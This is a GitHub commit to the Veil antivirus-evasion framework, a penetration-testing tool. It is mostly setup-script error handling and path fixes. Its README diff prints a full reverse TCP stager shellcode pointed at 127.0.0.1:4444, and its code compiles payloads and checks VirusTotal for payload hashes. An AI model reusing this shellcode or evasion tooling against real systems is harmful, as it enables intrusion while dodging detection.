Skip to content
This repository has been archived by the owner on Jan 10, 2024. It is now read-only.

Commit

Permalink
Merge pull request #199 from g0tmi1k/misc
Browse files Browse the repository at this point in the history
More setup fixes!
  • Loading branch information
ChrisTruncer authored Apr 23, 2018
2 parents 5d9e0da + 83eccdc commit d9b90c8
Show file tree
Hide file tree
Showing 8 changed files with 72 additions and 26 deletions.
2 changes: 1 addition & 1 deletion CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[2018-04-23]
Released.: 3.1.6
Modified.: Updated setup (again) thanks to @G0tmi1k!!!
Modified.: Updated setup (again) thanks to @g0tmi1k!!!

[2018-04-05]
Released.: 3.1.5
Expand Down
17 changes: 12 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@ apt -y install veil
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
sudo bash config/setup.sh --force --silent
./config/setup.sh --force --silent
```

### ./config/setup.sh // Setup Files
Expand Down Expand Up @@ -206,6 +206,7 @@ strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
Expand All @@ -227,10 +228,16 @@ $
```bash
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
Payload Name: Reverse TCP Stager (Stage 1)
IP Address: 127.0.0.1
Port: 4444
Shellcode Size: 287
===============================================================================
Veil-Ordnance
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Payload Name: Reverse TCP Stager (Stage 1)
[*] IP Address: 127.0.0.1
[*] Port: 4444
[*] Shellcode Size: 287
\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$
Expand Down
46 changes: 43 additions & 3 deletions config/setup.sh
Original file line number Diff line number Diff line change
Expand Up @@ -83,8 +83,6 @@ func_title(){
echo " winedir = ${winedir}"
echo " winedrive = ${winedrive}"
echo " gempath = ${gempath}"
echo " silent = ${silent}"
echo " force = ${force}"
echo ""
}

Expand All @@ -110,6 +108,11 @@ func_check_env(){
fi


## Feedback to user
[ "${silent}" == "true" ] && echo -e " [I] ${YELLOW}Silent Mode${RESET}: ${GREEN}Enabled${RESET}"
[ "${force}" == "true" ] && echo -e " [I] ${YELLOW}Force Mode${RESET}: ${GREEN}Enabled${RESET}"


## Double check install (if not silent)
echo -e "\n\n [?] ${BOLD}Are you sure you wish to install Veil?${RESET}\n"
echo -en " Continue with installation? ([${BOLD}y${RESET}]es/[${BOLD}s${RESET}]ilent/[${BOLD}N${RESET}]o): "
Expand Down Expand Up @@ -594,6 +597,12 @@ func_python_deps(){
[ -e "SCRIPTS" ] && sudo -u "${trueuser}" cp -rf SCRIPTS/* "${winedrive}/Python34/Scripts/"
## Run post install file
[ -e "SCRIPTS/pywin32_postinstall.py" ] && sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "${winedrive}/Python34/Scripts/pywin32_postinstall.py" "-silent" "-quiet" "-install" >/dev/null
tmp="$?"
if [[ "${tmp}" -ne "0" ]]; then
msg="Failed to install ${FILE}... Exit code: ${tmp}"
errors="${errors}\n${msg}"
echo -e " ${RED}[ERROR] ${msg}${RESET}\n"
fi
## Clean up
sudo rm -rf "PLATLIB/" "SCRIPTS/"
else
Expand Down Expand Up @@ -632,8 +641,28 @@ func_python_deps(){
## Use wine based pip to install dependencies
echo -e "\n\n [*] ${YELLOW}Installing (Wine) Python's PIP pefile${RESET}\n"
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "--upgrade" "pip"
tmp="$?"
if [[ "${tmp}" -ne "0" ]]; then
msg="Failed to run (wine) Python pip... Exit code: ${tmp}"
errors="${errors}\n${msg}"
echo -e " ${RED}[ERROR] ${msg}${RESET}\n"
fi

sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "future"
tmp="$?"
if [[ "${tmp}" -ne "0" ]]; then
msg="Failed to run (wine) Python pip future... Exit code: ${tmp}"
errors="${errors}\n${msg}"
echo -e " ${RED}[ERROR] ${msg}${RESET}\n"
fi

sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "pefile"
tmp="$?"
if [[ "${tmp}" -ne "0" ]]; then
msg="Failed to run (wine) Python pip pefile... Exit code: ${tmp}"
errors="${errors}\n${msg}"
echo -e " ${RED}[ERROR] ${msg}${RESET}\n"
fi


## Function done
Expand Down Expand Up @@ -707,7 +736,12 @@ func_autoit_deps(){
&& arg=" /S" \
|| arg=""
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${dependenciesdir}/autoit-v3-setup.exe" ${arg}

tmp="$?"
if [[ "${tmp}" -ne "0" ]]; then
msg="Failed to run (wine) AutoIT.. Exit code: ${tmp}"
errors="${errors}\n${msg}"
echo -e " ${RED}[ERROR] ${msg}${RESET}\n"
fi

## Function done
echo -e "\n\n [*] ${YELLOW}Finished AutoIT installation${RESET}\n"
Expand Down Expand Up @@ -743,6 +777,12 @@ func_ruby_deps(){
## Write batch script to disk
echo "${gempath} install --force --local ocra-1.3.6.gem" > /tmp/ocrainstall.bat
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine cmd /c /tmp/ocrainstall.bat
tmp="$?"
if [[ "${tmp}" -ne "0" ]]; then
msg="Failed to run (wine) Ruby OCRA.. Exit code: ${tmp}"
errors="${errors}\n${msg}"
echo -e " ${RED}[ERROR] ${msg}${RESET}\n"
fi

## Unzip the Ruby dependencies
echo -e "\n\n [*] ${YELLOW}Extracting (Wine) Ruby dependencies...${RESET}\n"
Expand Down
17 changes: 8 additions & 9 deletions config/update-config.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ def generateConfig(options):
print( " [*] TERMINAL_CLEAR = " + options['TERMINAL_CLEAR'] )

# Veil's path
config += '# Veil-Evasion install path\n'
config += '# Veil install path\n'
config += 'VEIL_PATH="' + options['VEIL_PATH'] + '"\n\n'
print( " [*] VEIL_PATH = " + options['VEIL_PATH'] )

Expand All @@ -65,7 +65,7 @@ def generateConfig(options):
print( " [*] TEMP_PATH = " + options["TEMP_PATH"] )

# Metasploit Framework's path
config += '# The path to the metasploit framework, for example: /opt/metasploit-framework/embedded/framework/\n'
config += '# The path to the metasploit framework, for example: %s\n' % ( options['METASPLOIT_PATH'] )
config += 'METASPLOIT_PATH="' + options['METASPLOIT_PATH'] + '"\n\n'
print( " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] )

Expand All @@ -80,12 +80,12 @@ def generateConfig(options):
print( " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] )

# PyInstaller's path
config += '# The path to pyinstaller, for example: /var/lib/veil/PyInstaller/\n'
config += '# The path to pyinstaller, for example: %s\n' % ( options['PYINSTALLER_PATH'] )
config += 'PYINSTALLER_PATH="' + options['PYINSTALLER_PATH'] + '"\n\n'
print( " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] )

# GoLang's path
config += '# The path to pyinstaller, for example: /var/lib/veil/go/\n'
config += '# The path to pyinstaller, for example: %s\n' % ( options['GOLANG_PATH'] )
config += 'GOLANG_PATH="' + options['GOLANG_PATH'] + '"\n\n'
print( " [*] GOLANG_PATH = " + options['GOLANG_PATH'])

Expand Down Expand Up @@ -170,7 +170,6 @@ def generateConfig(options):
sys.exit()

if platform.system() == "Linux":

# Check /etc/issue for the exact linux distro
issue = open( "/etc/issue" ).read()

Expand Down Expand Up @@ -213,7 +212,7 @@ def generateConfig(options):

# Check the paths are correct (METASPLOIT_PATH)
while not os.path.isdir( options["METASPLOIT_PATH"] ):
path = input( " [>] Please enter the directory of the Metasploit Framework (e.g. /opt/metasploit-framework/): " )
path = input( " [>] Please enter the directory of the Metasploit Framework (e.g. %s): " % ( options["METASPLOIT_PATH"] ) )
path = str(path)
options["METASPLOIT_PATH"] = path

Expand All @@ -233,21 +232,21 @@ def generateConfig(options):
# Check the paths are correct (PYINSTALLER_PATH)
while not os.path.isdir( options["PYINSTALLER_PATH"] ):
print( "\n [i] Can't find PyInstaller? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) )
path = input( " [>] Please enter the directory of PyInstaller (e.g. /var/lib/veil/PyInstaller/): " )
path = input( " [>] Please enter the directory of PyInstaller (e.g. %s): " % ( options["PYINSTALLER_PATH"] ) )
path = str(path)
options["PYINSTALLER_PATH"] = path

# Check the paths are correct (WINEPREFIX)
while not os.path.isdir( options["WINEPREFIX"] ):
print( "\n [i] Can't find WINE profile? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) )
path = input( " [>] Please enter the directory of Veil's WINE profile (e.g. /var/lib/veil/wine/): " )
path = input( " [>] Please enter the directory of Veil's WINE profile (e.g. %s): " % ( options["WINEPREFIX"] ) )
path = str(path)
options["WINEPREFIX"] = path

# Check the paths are correct (GOLANG_PATH)
while not os.path.isdir( options["GOLANG_PATH"] ):
print( "\n [i] Can't find GoLang? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) )
path = input( " [>] Please enter the directory of GoLang (e.g. /var/lib/veil/go/): " )
path = input( " [>] Please enter the directory of GoLang (e.g. %s): " % ( options["GOLANG_PATH"] ) )
path = str(path)
options["GOLANG_PATH"] = path
# Unsupported platform...
Expand Down
6 changes: 3 additions & 3 deletions tools/evasion/evasion_common/evasion_helpers.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,11 +37,11 @@ def compileToTemp(language, payloadSource):
"""
if language == "cs":

tempExeName = settings.TEMP_PATH + "temp.exe"
tempSourceName = settings.TEMP_PATH + "temp.cs"
tempExeName = settings.TEMP_PATH + "/temp.exe"
tempSourceName = settings.TEMP_PATH + "/temp.cs"

# write out the payload source to the temporary location
with open(settings.TEMP_PATH + "temp.cs", 'w') as f:
with open(settings.TEMP_PATH + "/temp.cs", 'w') as f:
f.write(payloadSource)

# Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run
Expand Down
2 changes: 1 addition & 1 deletion tools/evasion/evasion_common/outfile.py
Original file line number Diff line number Diff line change
Expand Up @@ -115,7 +115,7 @@ def compiler(payload_object, invoked=False, cli_object=None):
# Used for PyInstaller standard
# copy the pyinstaller runw to maintain its integrity in the event
# pwnstaller is added in for python3 - this will future proof it
runw_path = settings.VEIL_PATH + 'tools/evasion/evasion_common/tools/runw.orig.exe'
runw_path = settings.VEIL_PATH + '/tools/evasion/evasion_common/tools/runw.orig.exe'
os.system("cp " + runw_path + " " + settings.PYINSTALLER_PATH + "/PyInstaller/bootloader/Windows-32bit/runw.exe")

# Validate python is installed in wine
Expand Down
4 changes: 2 additions & 2 deletions tools/evasion/evasion_common/shellcode_help.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@
sys.exit()


sys.path.insert(0, settings.VEIL_PATH + 'tools/ordnance')
sys.path.insert(0, settings.VEIL_PATH + '/tools/ordnance')
import tool as ordnance_import


Expand Down Expand Up @@ -559,7 +559,7 @@ def cli_msf_shellcode_gen(command_line_args):
extra_options += ' ' + final_opt

# generate the msfvenom command
msf_command = settings.MSFVENOM_PATH + "msfvenom -p " + msf_payload + " "
msf_command = settings.MSFVENOM_PATH + "/msfvenom -p " + msf_payload + " "
msf_command += "LHOST=" + ip + " LPORT=" + str(port)
if extra_options != '':
msf_command += extra_options
Expand Down
4 changes: 2 additions & 2 deletions tools/evasion/tool.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@
sys.exit()


sys.path.insert(0, settings.VEIL_PATH + 'tools/ordnance')
sys.path.insert(0, settings.VEIL_PATH + '/tools/ordnance')
import tool as ordnance_import


Expand Down Expand Up @@ -65,7 +65,7 @@ def check_vt(self, interactive=True):
# It's only triggered if selected in menu and file isn't empty
try:
if os.stat(settings.HASH_LIST)[6] != 0:
checkVTcommand = settings.VEIL_PATH + "tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0"
checkVTcommand = settings.VEIL_PATH + "/tools/evasion/scripts/vt-notify/vt-notify.rb -f " + settings.HASH_LIST + " -i 0"
print(helpers.color("\n [*] Checking Virus Total for payload hashes...\n"))
checkVTout = subprocess.check_output(checkVTcommand, shell=True)
checkVTout = checkVTout.decode('ascii')
Expand Down

0 comments on commit d9b90c8

Please sign in to comment.